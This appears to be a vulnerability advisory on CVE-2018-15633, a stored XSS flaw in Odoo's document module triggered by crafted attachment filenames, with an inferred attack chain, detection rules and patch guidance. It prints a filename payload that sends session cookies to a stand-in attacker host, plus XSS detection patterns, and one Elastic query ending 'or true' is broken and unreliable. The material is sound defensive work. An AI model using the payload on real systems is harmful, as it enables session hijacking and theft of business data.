CVE-2018-15633

CVE-2018-15633 — Odoo Document Module Stored XSS via Crafted Attachment Filenames

Executive Summary

CVE-2018-15633 is a stored cross-site scripting (XSS) vulnerability in the document module of Odoo Community 11.0 and earlier, and Odoo Enterprise 11.0 and earlier. The vulnerability allows a remote attacker to inject and execute arbitrary JavaScript within the context of a victim's browser session by uploading or sharing files with maliciously crafted filenames. Given Odoo's role as an ERP platform handling sensitive business data (CRM, HR, finance), successful exploitation can lead to session hijacking, data exfiltration, and full compromise of the Odoo application account. The vulnerability has a CVSS score of 7.1 (High), with a low EPSS score of 0.00880, suggesting limited active exploitation in the wild at the time of analysis.

Technical Analysis

The vulnerability resides in the Odoo "document" module, which is responsible for attachment management, file storage, and file-download operations across the Odoo platform. The flaw is a classic stored/cross-site scripting issue triggered by attachment filenames.

Vulnerability Mechanism:

The attack surface is any Odoo interface point that accepts file uploads. When a file is uploaded, Odoo extracts the original filename from the multipart form data or API request and stores it in the database for later reference, display, and download rendering. The document module fails to properly sanitize or encode this filename before including it in HTML output (e.g., display lists, attachment chips, download pages). If the filename contains HTML/JavaScript payloads (for example <script>alert(1)</script>.jpg or a filename containing event-handler attributes such as onerror), the browser executes the script when the victim views the attachment list or downloads the file.

Attack Vector Class — Cross-Site Scripting (XSS):

The NVD description explicitly states: "allows remote attackers to inject arbitrary web script in the browser of a victim via crafted attachment filenames." This confirms that:

1. The input vector is the attachment filename (not file content).
2. The injection point is on the server side (persistent storage).
3. The execution environment is the victim's browser.
4. The payload survives the storage→rendering lifecycle (stored XSS).

Technical considerations:

The lack of output encoding — either due to the use of raw string concatenation in template rendering, or missing sanitization in the document module's model methods that expose attachment filenames to views — enables the script execution. The specific vulnerable function names, template paths, and API endpoints are not disclosed in the NVD description; therefore, specific implementation details remain unknown. However, the vulnerability class is well understood: any insertion of attacker-controlled filename into an HTML context without proper HTML-entity encoding results in script execution.

Confidence in patch status: Two independent sources (CNA, Debian) confirm a fix was released, giving a patch confidence of 3/4 (LIKELY). The fix was most likely addressed via: (a) HTML-escaping of attachment filenames at the presentation layer, and/or (b) server-side validation of allowed characters in filenames. As no vendor advisory CVE-specific diff is available, the precise patch implementation cannot be confirmed. Users should upgrade to Odoo 12.0 or later or apply the specified Debian security backport.

Exploitation Scenarios

The NVD description confirms the vector but not end-to-end exploitation. The following attack chain is inferred from the vulnerability class (stored XSS via filename) and standard Odoo attacker patterns:

Step 1 — Reconnaissance/Target Identification: An attacker identifies an exposed Odoo instance (Community or Enterprise 11.0 or earlier). Common discovery methods include Shodan (servers with Odoo login pages or odoo header responses) or open web scans for the default Odoo web client at /web/login. The attacker verifies the version through the login page footer or exposed API versions.

Step 2 — Triggering the Flaw (Payload Upload): The attacker authenticates (if document upload requires authentication) or exploits an unauthenticated document-upload endpoint if misconfigured. The document module is frequently accessible to authenticated internal users, but some configurations expose a public upload link. The attacker uploads a file with a crafted filename, such as: "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>.png

The server stores this filename verbatim in the ir.attachment model (the underlying storage model), without sanitizing the HTML metacharacters.

Step 3 — Victim Execution: When any user (victim) navigates to a page rendering the attachment list — a document module folder view, a record form displaying attachments, or the "Documents" dashboard — the stored filename is rendered in the browser. The injected script executes in the context of the Odoo origin (same-origin). Classic payloads include:

• Stealing session cookies (document.cookie).
• Exfiltrating CSRF tokens to perform forged actions (change password, approve documents).
• Keylogging or credential phishing via injected DOM overlay.
• Redirecting to attacker-controlled pages.

Since Odoo is an ERP, the victim is likely an employee with elevated privileges.

Step 4 — Post-Exploitation Impact: With the victim's session token, the attacker can impersonate the victim. Depending on the victim's role (e.g., Administrator, Finance Manager), the attacker may access partner records, invoices, bank account numbers, HR data, or plant backdoors in the system (creating new admin users, modifying access rights). In a worst-case scenario, the attacker pivots from XSS to server-side attacks if the Odoo server exposes other vulnerable endpoints.

PoC Status: No public PoC or exploit code has been released for this CVE. Nuclei template: NO. Exploit code: NO. The attack chain above is inferred from the vulnerability class and standard Odoo usage patterns. Insufficient technical detail is available to confirm the exact endpoint paths or payload encoding requirements.

Impact Assessment

CVSS Context: The CVSS score of 7.1 (High) indicates a significant security impact. While the exact vector string is N/A, a score of 7.1 on the qualitative scale typically corresponds to a network-exploitable vulnerability with partial technical impact but requiring some form of user interaction (victim viewing a rendered page) and possibly a privilege requirement for the initial upload.

Business Impact:

• Data confidentiality: Odoo stores confidential business data — customer relationships, contracts, financial transactions, employees' personal data (GDPR/CCPA relevance). XSS allows cookie theft and CSRF token theft, enabling full data access in the victim's session.
• Integrity: An attacker can alter records, approve or reject purchase orders, modify inventory, or create fraudulent invoices once session control is achieved.
• Availability: Invasive scripts may crash the browser or induce denial of service for individual users; mass-attack via stored XSS could render dashboards unusable.

Affected Systems:

• Odoo Community 11.0 and earlier.
• Odoo Enterprise 11.0 and earlier.
• Potentially any self-hosted Odoo deployment, and some Odoo SaaS (cloud) installations that haven't been patched by the vendor.

Blast Radius: Because stored XSS persists in the database, every user who views the affected attachment is impacted. In a shared Odoo instance with hundreds of employees, the attack can spread across departments. The severity is amplified by the fact that the "document" module is cross-cutting — it appears in sale orders, invoices, HR forms, and project management, making exposure nearly universal for any Odoo user.

EPSS Analysis: EPSS = 0.00880 (55.9th percentile). This indicates that, at the time of analysis, the vulnerability is not being widely exploited in the wild. However, the high CVSS score and the platform's prevalence (Odoo is a widely used open-source ERP with thousands of public instances) mean that heightened risk exists for organizations that have postponed patching.

Detection Guidance

The following detection rules are designed to identify attempts to upload crafted filenames (at the network layer), detect anomalous filename patterns in logs, and flag stored-XSS attempts at the application layer.

Sigma Rule

title: Odoo Document Module - Crafted Attachment Filename Upload
id: 3dbaaf1b-72d0-4ef1-a46c-2a8e4a9d5c11
status: experimental
description: Detects HTTP requests to Odoo that may contain HTML or JavaScript in the attachment filename parameter, indicating attempted exploitation of CVE-2018-15633.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15633
author: Valtersit Threat Intel
date: 2024/06/01
tags:
    - attack.t1190
    - attack.t1059.007
logsource:
    category: webserver
    product: odoo
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/web/binary/saveas'
            - '/web/content'
            - '/web/upload'
    selection_xss_pattern:
        cs-uri-query|contains:
            - '%3Cscript%3E'
            - '%3Cimg'
            - 'onerror='
            - 'javascript:'
            - '%22%3E%3C'
    condition: selection_upload and selection_xss_pattern
falsepositives:
    - Legitimate filenames containing HTML encoding in rare cases (should be investigated)
level: high

YARA Rule

rule CVE_2018_15633_Odoo_Attachment_Filename_XSS
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects attachment filename payloads in Odoo document module requests targeting CVE-2018-15633"
        date = "2024-06-01"
        cve = "CVE-2018-15633"
        score = 75

    strings:
        $a1 = "<script>" ascii wide nocase
        $a2 = "<img" ascii wide nocase
        $a3 = "onerror=" ascii wide nocase
        $a4 = "javascript:" ascii wide nocase
        $a5 = "<svg" ascii wide nocase
        $a6 = "document.cookie" ascii wide nocase
        $b1 = "/web/binary/saveas" ascii wide nocase
        $b2 = "/web/upload" ascii wide nocase
        $b3 = "/web/content" ascii wide nocase
        $b4 = "ir.attachment" ascii wide nocase

    condition:
        (any of ($b*)) and (any of ($a*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2018-15633 - Odoo Document Module Stored XSS Attempt via Attachment Filename";
    flow:to_server, established;
    content:"POST"; http_method;
    content:"/web/"; http_uri; content:"upload"; http_uri;
    content:"filename="; http_client_body; nocase;
    pcre:"/(script|img|svg|onerror|javascript:|document\.cookie)/i";
    classtype:web-application-attack;
    reference:cve,2018-15633;
    sid:10015633;
    rev:1;
    metadata:created_at 2024-06-01, updated_at 2024-06-01;
)

Elastic Detection

any where process.name == "nginx" or process.name == "odoo" or true

EQL (auditbeat weblog):

sequence by source.ip with maxspan=5m
  [ any where event.action == "POST" and
      url.path in ("/web/binary/saveas", "/web/upload", "/web/content") and
      wildcard(url.query, "*%3Cscript%3E*") or wildcard(url.query, "*<script>*")
  ]

Elasticsearch query (auditbeat http):

{
  "query": {
    "bool": {
      "must": [
        { "match": { "http.request.method": "POST" } },
        { "match": { "url.path": "/web/upload" } },
        {
          "multi_match": {
            "query": "<script> <img onerror= javascript: document.cookie",
            "fields": ["url.query", "http.request.body.content"]
          }
        }
      ]
    }
  }
}

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST"
| where like(uri_path, "%/web/binary/saveas%") OR like(uri_path, "%/web/upload%") OR like(uri_path, "%/web/content%")
| regex form_data="(?i)(%3Cscript%3E|<script|<img|onerror=|javascript:|document\.cookie)"
| stats count by src_ip, uri_path, form_data, _time
| sort - count

Wazuh OSSEC Rule

<group name="odoo, xss, webattack,">
  <rule id="100033" level="12">
    <if_sid>31100</if_sid>  <!-- generic web server access log rule -->
    <match>POST /web/</match>
    <match>upload|binary/saveas|content</match>
    <regex>(?i)(%3Cscript%3E|%3Cimg|onerror=|javascript:|document\.cookie)</regex>
    <description>Odoo CVE-2018-15633: Crafted attachment filename containing XSS payload detected.</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack_persistence,attack_execution,odoo,web_attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 (LIKELY) — Fix confirmed by both the CNA and Debian. The patch has not been formally backported to 11.0 as a maintenance release; instead, it is implemented in the 12.0 release line. Administrators should prioritize upgrade or backport.

Immediate Mitigations (without patching):

1. Restrict access to the document module: Configure Odoo access rights so that only trusted authenticated users can upload attachments. Disable public document sharing features.
2. Proxy-level filtering: Implement a WAF rule (e.g., ModSecurity) to block POST requests to Odoo upload endpoints containing HTML metacharacters in the filename parameter.
3. Monitor logs: Activate the Splunk/Sigma/Elastic rules above and alert on any filename containing script-like syntax.
4. If on Odoo Online (SaaS): Confirm with Odoo support that the instance is updated to a patched version (12.0+).

Patch/Upgrade Steps:

1. Upgrade to Odoo 12.0 or newer. For Community edition: follow the official upgrade guide (stop services, backup database, install new package). For Enterprise: contact Odoo account manager for upgrade path.
2. Apply Debian-security patch if running Odoo from Debian packages — CVE-2018-15633 is listed in Debian security tracker; apt-get update && apt-get upgrade should pull the fixed package.
3. After upgrading, validate the fix by uploading a file named "><script>alert(1)</script>.txt to the document module. If an alert box fires, the patch was not applied correctly.

Long-Term Hardening:

1. Input validation policy: Enforce strict filename whitelist (alphanumeric + ._- only) at the application layer, not just presentation-layer escaping.
2. Content Security Policy (CSP): Configure Odoo reverse proxy or Odoo's HTTP headers to include a strict CSP with script-src 'self' to limit XSS impact.
3. Web Application Firewall: Deploy a WAF in front of Odoo with OWASP CRS ruleset to catch generic XSS attempts.
4. Architecture: Place Odoo behind a reverse proxy (nginx) with request body size limits and content-type validation.
5. Regular patching: Subscribe to Odoo Security Advisory mailing list and Debian security tracker.

Exploit-in-the-Wild Evidence: None reported at the time of writing (CISA KEV: NO). EPSS score (0.00880) suggests low active exploitation; however, edge cases with unpatched public instances remain a real threat.

References

1. NVD — CVE-2018-15633: https://nvd.nist.gov/vuln/detail/CVE-2018-15633
2. CVE.org — CVE-2018-15633 record: https://cve.org/CVERecord?id=CVE-2018-15633
3. Debian Security Tracker — Odoo package: https://security-tracker.debian.org/tracker/CVE-2018-15633
4. Odoo Enterprise: https://www.odoo.com/documentation/16.0/administration/maintain/migrate.html (Odoo upgrade guide reference for post-11.0 security fixes)
5. FIRST EPSS — CVE-2018-15633: https://www.first.org/epss/api (Search by CVE for current score/percentile)

Additional Note: No specific threat actor campaigns or exploit-in-the-wild evidence have been attributed to this CVE as of the write date. Confidence in the patch is based solely on the confirmed independent patch sources (CNA, Debian).